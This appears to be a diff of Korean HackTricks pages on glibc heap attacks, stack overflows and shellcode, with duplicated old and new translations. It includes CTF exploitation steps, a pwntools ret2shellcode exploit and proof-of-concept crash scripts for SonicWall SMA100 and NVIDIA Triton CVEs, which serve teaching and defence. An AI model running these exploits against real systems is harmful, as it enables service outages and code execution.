유사한 [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)에서는 4개 청크 구조(A, B, C, D - D는 top chunk와의 consolidation을 방지하기 위한 것)를 남용했다. B에서의 null byte overflow를 이용해 C가 B가 미사용이라고 표시하도록 만들었고, 또한 B의 `prev_size` 데이터를 수정해 B의 크기 대신 A+B가 되도록 했다.\
그 후 C가 해제되어 A+B와 통합되었고(하지만 B는 여전히 사용 중이었다), 크기 A의 새 청크가 할당되었고 libc leaked addresses가 B에 쓰여져서 거기서 유출되었다.
유사한 [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)에서는 4개 청크 구조(A, B, C, D — D는 top chunk와의 consolidation을 방지하기 위함)를 악용했습니다. B에서의 null byte overflow를 이용해 C가 B가 사용되지 않은 것으로 표시하게 했습니다. 또한 B의 `prev_size` 데이터를 수정해 크기가 B의 크기 대신 A+B가 되도록 했습니다. 그 다음 C를 해제하고 A+B로 consolidate(합쳐졌습니다)했지만 B는 여전히 사용 중이었습니다. 크기 A의 새 청크를 할당한 뒤, libc에서 leaked 된 주소들을 B에 써서 거기서 유출시켰습니다.
## References & Other examples
## 참조 및 기타 예제
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and `PIE` is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a `heap overflow` with the desired size.
- The attack starts creating 3 chunks: `chunk0` to abuse the overflow, `chunk1` to be overflowed and `chunk2` so top chunk doesn't consolidate the previous ones.
- Then, `chunk1` is freed and `chunk0` is overflowed to the `bk` pointer of `chunk1` points to: `bk = magic - 0x10`
- Then, `chunk3` is allocated with the same size as `chunk1`, which will trigger the `unsorted bin` attack and will modify the value of the global variable, making possible to get the flag.
- 목표는 전역 변수를 4869보다 큰 값으로 덮어써 flag를 얻는 것이며, PIE는 활성화되어 있지 않습니다.
- 임의 크기의 청크를 생성할 수 있고 원하는 크기의 heap overflow가 존재합니다.
- 공격은 세 개의 청크를 생성하는 것으로 시작합니다: overflow를 악용할 chunk0, 오버플로우될 chunk1, 그리고 이전 것들이 top chunk와 consolidate되는 것을 방지할 chunk2.
- 그다음 chunk1을 free하고 chunk0을 오버플로우시켜 chunk1의 `bk` 포인터가 가리키게 합니다: `bk = magic - 0x10`
- 그 후 chunk3을 chunk1과 같은 크기로 할당하면 unsorted bin attack이 발생하고 전역 변수의 값이 변경되어 flag를 얻을 수 있게 됩니다.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The `merge` function is vulnerable because if both indexes passed are the same one it'll `realloc` on it and then `free` it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **`chunk0`** which will be merged with itself and `chunk1` to prevent consolidating with the top chunk. Then, the **`merge` function is called with `chunk0`** twice which will cause a `use after free`.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only `malloc` sizes bigger than **`global_max_fast`** so no `fastbin` is used, an `unsorted bin` attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the `unsorted bin` attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in `fast bins`.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- merge 함수는 전달된 두 인덱스가 동일하면 해당 영역에 realloc을 수행한 뒤 free하지만, 사용 가능한 해제된 영역에 대한 포인터를 반환하므로 취약합니다.
- 따라서, **2개의 청크가 생성됩니다**: 자신과 병합될 **chunk0**과 top chunk와의 consolidating을 막기 위한 chunk1. 그런 다음 **merge 함수가 chunk0으로 두 번 호출**되어 use after free가 발생합니다.
- 그후 **`view`** 함수가 인덱스 2(사용 후 해제된 청크의 인덱스)로 호출되어 **libc address를 leak**합니다.
- 바이너리는 **`global_max_fast`**보다 큰 크기만 malloc하도록 보호되어 있어 fastbin이 사용되지 않으므로, 전역 변수 `global_max_fast`를 덮어쓰기 위해 unsorted bin attack이 사용됩니다.
- 그다음 edit 함수를 인덱스 2(사용 후 해제 포인터)로 호출해 `bk` 포인터를 `p64(global_max_fast-0x10)`로 덮어쓸 수 있습니다. 그러면 새 청크를 만들 때 이전에 조작된 free 주소(0x20)가 사용되어 **unsorted bin attack을 trigger**하고 `global_max_fast`를 매우 큰 값으로 덮어써서 이제 fast bin에 청크를 생성할 수 있게 됩니다.
- 이제 **fast bin attack**이 수행됩니다:
- 우선 `__free_hook` 위치에서 fast **크기 200의 청크**로 작업할 수 있음이 발견됩니다:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -115,20 +114,20 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size `0x200` in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to `system` with `/bin/sh\x00` as parameter.
- 이 위치에 크기 0x200의 fast 청크를 얻을 수 있다면, 실행될 함수 포인터를 덮어쓸 수 있습니다.
- 이를 위해 크기 `0xfc`의 새 청크를 생성하고 해당 포인터로 merged 함수를 두 번 호출하면, fast bin에 크기 `0xfc*2 = 0x1f8`인 해제된 청크에 대한 포인터를 얻을 수 있습니다.
- 그 다음 이 청크에서 edit 함수를 호출해 이 fast bin의 **`fd`** 주소를 이전의 **`__free_hook`**을 가리키도록 수정합니다.
- 그 후 fast bin에서 이전의 쓸모없는 청크를 꺼내기 위해 크기 `0x1f8`의 청크를 하나 생성하고, 또 다른 크기 `0x1f8`의 청크를 생성하면 fast bin의 청크가 **`__free_hook`** 위치로 할당되어 이를 **`system`** 함수의 주소로 덮어씁니다.
- 마지막으로 문자열 `/bin/sh\x00`를 담은 청크를 delete 함수로 free하면, **`__free_hook`**가 호출되어 `/bin/sh\x00`를 인자로 system이 실행됩니다.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the `unsorted bin` and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- 1B overflow를 악용해 청크를 unsorted bin에서 consolidate하여 libc infoleak을 얻고, 그 후 fast bin attack을 수행해 malloc hook을 one gadget 주소로 덮어쓰는 또 다른 예제입니다
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an `Unsorted Bin` attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- 0x100보다 큰 크기의 청크만 할당할 수 있습니다.
- Unsorted Bin attack으로 `global_max_fast`를 덮어씁니다 (ASLR 때문에 1/16 확률로 동작합니다 — 수정해야 하는 비트 수와 관련).
- Fast Bin attack으로 전역 청크 배열을 수정합니다. 이렇게 하면 임의의 읽기/쓰기 primitive를 얻어 GOT을 수정하고 어떤 함수를 `system`으로 포인팅하도록 설정할 수 있습니다.
## References
## 참조
- Glibc malloc `unsorted-bin` integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
- `global_max_fast` 및 관련 정의 in modern `glibc` (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## Stack Overflow란 무엇인가
A **stack overflow**는 프로그램이 스택에 할당된 크기보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이 초과 데이터는 인접 메모리 영역을 **덮어써서**, 유효한 데이터의 손상, 제어 흐름의 붕괴, 그리고 경우에 따라 악성 코드의 실행을 초래할 수 있습니다. 이러한 문제는 일반적으로 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수를 사용하면서 발생합니다.
A **stack overflow**는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게 되어**, 유효한 데이터 손상, 제어 흐름의 교란, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 이전 함수로 돌아가기 위한 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 **스택에 저장**된다는 점입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 **제어**할 수 있습니다.
이 덮어쓰기의 주요 문제는 이전 함수로 복귀하기 위해 저장되는 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 **스택에 저장되어 있다는 것**입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 **제어할 수 있게 됩니다**.
이 취약점은 일반적으로 함수가 **스택 내부에 할당된 크기보다 더 많은 바이트를 복사**하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
이 취약점은 일반적으로 함수가 **스택 내부에 할당된 보다 더 많은 바이트를 복사**하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
취약하기 쉬운 일반적인 함수로는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등이 있습니다. 또한 **`fgets`**, **`read`** 및 **`memcpy`**처럼 **길이 인자(length argument)**를 받는 함수들도 지정된 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다.
취약하기 쉬운 일반적인 함수로는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등이 있습니다. 또한 **`fgets`**, **`read`** 및 **`memcpy`**처럼 **length argument**를 받는 함수들도, 지정한 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Stack Overflows 오프셋 찾기
### Stack Overflow offsets 찾기
가장 흔한 방법은 `A`s를 매우 많이 입력(예: `python3 -c 'print("A"*1000)'`)해서 `Segmentation Fault`가 발생하는지 확인하는 것입니다. 이는 **주소 `0x41414141`에 접근을 시도했다는 것을 의미합니다**.
가장 흔한 방법은 매우 큰 `A` 입력(예: `python3 -c 'print("A"*1000)'`)을 주고 `Segmentation Fault`를 기대하는 것이다. 이는 **주소 `0x41414141`에 접근하려고 시도함**을 나타낸다.
게다가, Stack Overflow 취약점이 있다는 것을 확인하면 **overwrite the return address**가 가능해지는 오프셋을 찾아야 합니다. 이를 위해 보통 **De Bruijn sequence**가 사용됩니다. 주어진 알파벳 크기 _k_와 부분시퀀스 길이 _n_에 대해, 이는 **모든 가능한 길이 _n_의 부분시퀀스가 정확히 한 번 연속 부분시퀀스로 나타나는 순환 시퀀스**입니다.
또한, Stack Overflow 취약점을 발견하면 return address를 덮어쓸 수 있을 때까지의 offset을 찾아야 하는데, 이를 위해 보통 **De Bruijn sequence**가 사용된다. 이는 주어진 알파벳 크기 _k_와 부분수열 길이 _n_에 대해, 길이 _n_인 모든 가능한 부분수열이 정확히 한 번씩 연속적으로 나타나는 **순환 시퀀스**다.
렇게 하면 수동으로 어느 오프셋이 EIP를 제어하는지 알아낼 필요 없이, padding으로 이러한 시퀀스 중 하나를 사용하고 이를 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
방법을 사용하면 수동으로 EIP를 제어하기 위한 offset을 알아내는 대신, 패딩으로 이 시퀀스 중 하나를 사용하고 어느 바이트가 덮어썼는지 찾아 offset을 확인할 수 있다.
이를 위해 **pwntools**를 사용할 수 있습니다:
It's possible to use **pwntools** for this:
```python
from pwn import *
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiting Stack Overflows
오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내부의 로컬 변수 값을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 **덮어쓸 수 있습니다**.\
유형의 취약점을 악용하는 가장 일반적인 방법은 **modifying the return address**로, 함수가 끝날 때 이 포인터에 사용자가 지정한 위치로 **control flow will be redirected wherever the user specified**됩니다.
오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내의 지역 변수 값들을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 **덮어쓸 수** 있습니다.\
이 취약점을 악용하는 가장 일반적인 방법은 **리턴 주소를 수정**하여 함수가 종료될 때 이 포인터에 지정한 위치로 **제어 흐름이 전환되게 하는 것**입니다.
그러나 다른 시나리오에서는 단순히 스택의 일부 변수 값을 **overwriting some variables values in the stack**하는 것만으로도 익스플로잇에 충분할 수 있습니다(예: 쉬운 CTF challenges).
하지만 다른 경우에는 스택의 일부 변수 값만 **덮어쓰는 것**만으로도 익스플로잉이 가능한 경우가 있습니다(예: 쉬운 CTF 문제들).
### Ret2win
이 유형의 CTF 문제에서는 바이너리 내부에 **함수(function)**가 존재하지만 **절대 호출되지 않으며**, **승리하려면 호출해야 합니다**. 이러한 문제에서는 **offset to overwrite the return address**를 찾고 호출할 **function의 address**를 찾기만 하면 됩니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)는 비활성화되어 있음). 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
{{#ref}}
@ -66,7 +66,7 @@ ret2win/
### Stack Shellcode
이 시나리오에서는 공격자가 스택에 shellcode를 배치하고 제어된 EIP/RIP를 이용해 shellcode로 점프하여 임의의 코드를 실행할 수 있습니다:
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
{{#ref}}
@ -75,7 +75,7 @@ stack-shellcode/
### Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows에서는 오버플로우가 저장된 return address 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잇은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4-byte nSEH 필드를 짧은 점프(short jump)로 사용해 shellcode가 있는 큰 버퍼로 다시 피벗합니다. 흔한 패턴은 nSEH의 짧은 jmp가 nSEH 바로 앞에 배치된 5-byte near jmp에 착지하여 수백 바이트를 페이로드 시작으로 되돌리는 것입니다.
32-bit Windows 환경에서는 오버플로우가 저장된 리턴 주소 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잉은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4바이트 nSEH 필드를 짧은 점프로 사용하여 shellcode가 존재하는 큰 버퍼로 다시 피벗합니다. 흔한 패턴으로는 nSEH에 있는 짧은 jmp가 nSEH 바로 앞에 놓인 5바이트 near jmp로 착지하여 페이로드 시작점으로 수백 바이트를 되돌아가게 하는 경우가 있습니다.
{{#ref}}
@ -84,7 +84,7 @@ windows-seh-overflow.md
### ROP & Ret2... techniques
이 기법은 이전 기법의 주요 보호 장치인 **No executable stack (NX)**를 우회하기 위한 기본 프레임워크입니다. 또한 바이너리에 존재하는 기존 명령들을 악용하여 최종적으로 임의의 명령을 실행하는 여러 다른 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다:
이 기법은 이전 기법의 주요 보호 메커니즘인 **No executable stack (NX)**를 우회하기 위한 근본적인 프레임워크입니다. 또한 기존 바이너리의 명령들을 악용해 임의 명령을 실행하는 다양한 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다:
{{#ref}}
@ -93,7 +93,7 @@ windows-seh-overflow.md
## Heap Overflows
오버플로우가 항상 스택에 발생하는 것은 아니며, 예를 들어 **heap**에서도 발생할 수 있습니다:
오버플로우가 항상 스택에 발생하는 것은 아니며, 예를 들어 **heap**에서도 발생할 수 있습니다:
{{#ref}}
@ -102,7 +102,7 @@ windows-seh-overflow.md
## Types of protections
취약점 악용을 막기 위한 여러 보호 기법들이 있으며, 다음에서 확인할 수 있습니다:
취약점 악용을 방지하기 위해 여러 보호 기법들이 존재합니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
@ -111,33 +111,33 @@ windows-seh-overflow.md
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
**`sscanf` should never be trusted for parsing untrusted input**인지를 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내부의 취약한 루틴은 `/__api__/`로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:
비신뢰 입력을 파싱할 때는 **`sscanf`를 절대 신뢰하면 안 된다**는 점을 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 등장했습니다. `/usr/src/EasyAccess/bin/httpd` 내부의 취약한 루틴은 `/__api__/`로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. 첫 번째 변환 (`%2s`)은 `version`**두** 바이트를 안전하게 저장합니다(예: "v1").
2. 두 번째 변환 (`%s`)**길이 지정자**가 없으므로, `sscanf`는 **첫 번째 NUL 바이트가 나올 때까지** 계속 복사합니다.
3. `endpoint`가 **stack**에 위치하고 **0x800 바이트 길이**이기 때문에, 0x800 바이트보다 긴 path를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 **stack canary**와 **saved return address**를 포함하여.
1. 첫 번째 변환 (`%2s`)은 `version`**두** 바이트를 안전하게 저장합니다(예: `"v1"`).
2. 두 번째 변환 (`%s`)에는 **길이 지정자가 없습니다**, 따라서 `sscanf`**첫 번째 NUL 바이트까지** 계속 복사합니다.
3. `endpoint`가 **stack**에 위치하고 **0x800 bytes long**이기 때문에, 0x800 bytes보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 여기에는 **stack canary**와 **saved return address**가 포함됩니다.
한 줄짜리 proof-of-concept만으로도 **인증 전에** 크래시를 발생시키기에 충분합니다:
한 줄짜리 proof-of-concept만으로도 **인증 전에** 크래시를 유발하기에 충분합니다:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
stack canaries가 프로세스를 중단시키더라도, 공격자는 여전히 **Denial-of-Service** primitive를 획득할 수 있습니다 (그리고 추가적인 정보 leaks가 있으면, code-execution도 가능할 수 있습니다). 교훈은 간단합니다:
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
* 항상 **최대 필드 너비**를 지정하세요 (예: `%511s`).
* `snprintf`/`strncpy_s`와 같은 더 안전한 대안을 선호하세요.
* 항상 **최대 필드 너비**를 지정하 (예: `%511s`).
* `snprintf`/`strncpy_s` 같은 더 안전한 대안을 선호하라.
### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 도달 가능한 여러 **stack-based overflows**가 포함되어 있었습니다.
취약한 패턴은 `http_server.cc``sagemaker_server.cc`에서 반복적으로 나타났습니다:
NVIDIAs Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.
취약한 패턴은 `http_server.cc``sagemaker_server.cc`에서 반복적으로 나타났다:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -147,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent)는 현재 HTTP 요청 본문을 구성하는 내부 버퍼 세그먼트의 **개수**를 반환합니다.
2. 각 세그먼트는 `alloca()`를 통해 **16-byte** 크기의 `evbuffer_iovec`**stack**에 할당되게 하며 — **상한 없이**.
3. 클라이언트가 **HTTP _chunked transfer-encoding_**을 악용하면 요청을 **수십만 개의 6-byte chunks**(`"1\r\nA\r\n"`)으로 분할하도록 강제할 수 있습니다. 이로 인해 `n`은 stack이 고갈될 때까지 제약 없이 증가합니다.
1. `evbuffer_peek` (libevent)는 현재 HTTP 요청 본문을 구성하는 **내부 버퍼 세그먼트의 수**를 반환한다.
2. 각 세그먼트는 `alloca()`를 통해 **16-byte** 크기의 `evbuffer_iovec`**stack**에 할당하게 되며 **상한이 전혀 없다**.
3. **HTTP _chunked transfer-encoding_**을 악용하면, 클라이언트는 요청을 수십만 개의 6-byte 청크 (`"1\r\nA\r\n"`)로 분할하도록 강제할 수 있다. 이로 인해 `n`이 stack이 소진될 때까지 무한히 증가한다.
#### 개념 증명 (DoS)
```python
@ -175,10 +175,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
~3 MB 요청이면 저장된 리턴 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash**시킬 수 있습니다.
대략 3MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash**시킬 수 있습니다.
#### 패치 및 완화
25.07 릴리스에서는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`우아하게 처리합니다:
25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`적절히 처리합니다:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -189,11 +189,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
struct evbuffer_iovec *v = v_vec.data();
```
배운 점:
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마.
* Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있다.
* 클라이언트 입력에서 유도된 값은 memory allocations에 사용하기 *전에* 검증하거나 제한하라.
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마세요.
* Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있습니다.
* client input에서 유도된 모든 값은 memory allocations에 사용하기 *before* 반드시 검증하고 제한하세요.
## 참고 자료
## 참고자료
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -4,11 +4,11 @@
## 기본 정보
**Stack shellcode**은 **binary exploitation**에서 사용되는 기법으로, 공격자가 취약한 프로그램의 스택에 shellcode를 기록한 다음 **Instruction Pointer (IP)** 또는 **Extended Instruction Pointer (EIP)**를 수정하여 해당 shellcode의 위치를 가리키게 하고 실행되게 합니다. 이는 대상 시스템에 무단으로 접근하거나 임의의 명령을 실행하기 위해 사용되는 전형적인 방법입니다. 다음은 그 과정을 단계별로 설명한 것이며, 간단한 C 예제와 Python으로 **pwntools**를 사용해 대응하는 exploit을 작성하는 방법을 포함합니다.
**Stack shellcode**은 공격자가 취약한 프로그램의 스택에 shellcode를 쓰고, 이후 **Instruction Pointer (IP)** 또는 **Extended Instruction Pointer (EIP)**를 이 shellcode의 위치로 변경해 실행시키는 **binary exploitation**에서 사용되는 기법입니다. 이는 대상 시스템에서 무단 접근을 얻거나 임의의 명령을 실행하기 위한 고전적인 방법입니다. 아래에는 간단한 C 예제와 Python의 **pwntools**를 사용해 대응하는 exploit를 작성하는 방법을 포함한 과정의 개요가 있습니다.
### C 예제: 취약한 프로그램
취약한 C 프로그램의 간단한 예제로 시작해봅시다:
취약한 C 프로그램의 간단한 예제로 시작하겠습니다:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
이 프로그램은 `gets()` 함수의 사용으로 인해 buffer overflow에 취약합니다.
이 프로그램은 `gets()` 함수 사용으로 인해 버퍼 오버플로우 취약점이 있습니다.
### Compilation
### 컴파일
이 프로그램을 여러 보호 기능을 비활성화하여(취약한 환경을 시뮬레이션하기 위해) 컴파일하려면 다음 명령을 사용할 수 있습니다:
여러 보호 기능을 비활성화하여(취약한 환경을 시뮬레이션하기 위해) 이 프로그램을 컴파일하려면 다음 명령어를 사용하세요:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: 스택 보호를 비활성화합니다.
- `-z execstack`: 스택을 실행 가능하게 만듭니다. 이는 스택에 저장된 shellcode를 실행하는 데 필요합니다.
- `-no-pie`: Position Independent Executable(PIE)을 비활성화하여 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32-bit 실행 파일로 컴파일합니다. 일반적으로 exploit 개발에서 단순화를 위해 사용됩니다.
- `-z execstack`: 스택을 실행 가능하게 만듭니다. 이는 스택에 저장된 shellcode를 실행하기 위해 필요합니다.
- `-no-pie`: Position Independent Executable을 비활성화하여 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32-bit 실행 파일로 컴파일합니다. exploit 개발에서 단순성을 위해 자주 사용됩니다.
### Pwntools를 사용한 Python Exploit
다음은 **pwntools**를 사용해 **ret2shellcode** 공격을 수행하기 위해 Python으로 exploit을 작성하는 방법입니다:
다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python exploit을 작성하는 방법입니다:
```python
from pwn import *
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
이 스크립트는 **NOP slide**, **shellcode**로 구성된 payload를 만들고, 그 다음 **EIP**를 NOP slide를 가리키는 주소로 덮어써 shellcode가 실행되도록 합니다.
이 스크립트는 **NOP slide**, **shellcode**로 구성된 payload를 만들고, 이어서 **EIP**를 NOP slide를 가리키는 주소로 덮어써 shellcode가 실행되도록 보장합니다.
The **NOP slide** (`asm('nop')`)은 정확한 주소와 무관하게 실행이 우리 shellcode로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. NOP slide에 도달하도록 버퍼의 시작 주소에 오프셋을 더한 값으로 `p32()` 인자를 조정하세요.
The **NOP slide** (`asm('nop')`)는 실행이 정확한 주소와 관계없이 우리 shellcode로 "slide"할 확률을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼 시작 주소에 적절한 오프셋을 더한 값으로 조정하여 NOP slide에 도달하도록 하세요.
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
현대 Windows에서는 stack이 non-executable(DEP/NX)입니다. stack BOF 이후에도 stack-resident shellcode를 실행하는 일반적인 방법은 64-bit ROP chain을 만들어 모듈의 Import Address Table(IAT)에 있는 VirtualAlloc(또는 VirtualProtect)을 호출하여 stack의 영역을 executable로 만들고, 그 체인 뒤에 추가한 shellcode로 리턴하는 것입니다.
현대 Windows에서는 stack이 non-executable (DEP/NX) 입니다. stack BOF 이후에도 stack-resident shellcode를 실행하기 위한 일반적인 방법은 64-bit ROP 체인을 구성하여 모듈의 Import Address Table (IAT)에 있는 VirtualAlloc (또는 VirtualProtect)을 호출해 stack의 영역을 실행 가능하도록 만들고, 체인 뒤에 붙인 shellcode로 리턴하는 것입니다.
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 현재 stack의 주소(예: RSP)를 선택하여 새로 할당된 RWX 영역이 payload와 겹치도록 합니
- RDX = dwSize → chain + shellcode를 수용할 만큼 충분히 크게 설정 (예: 0x1000)
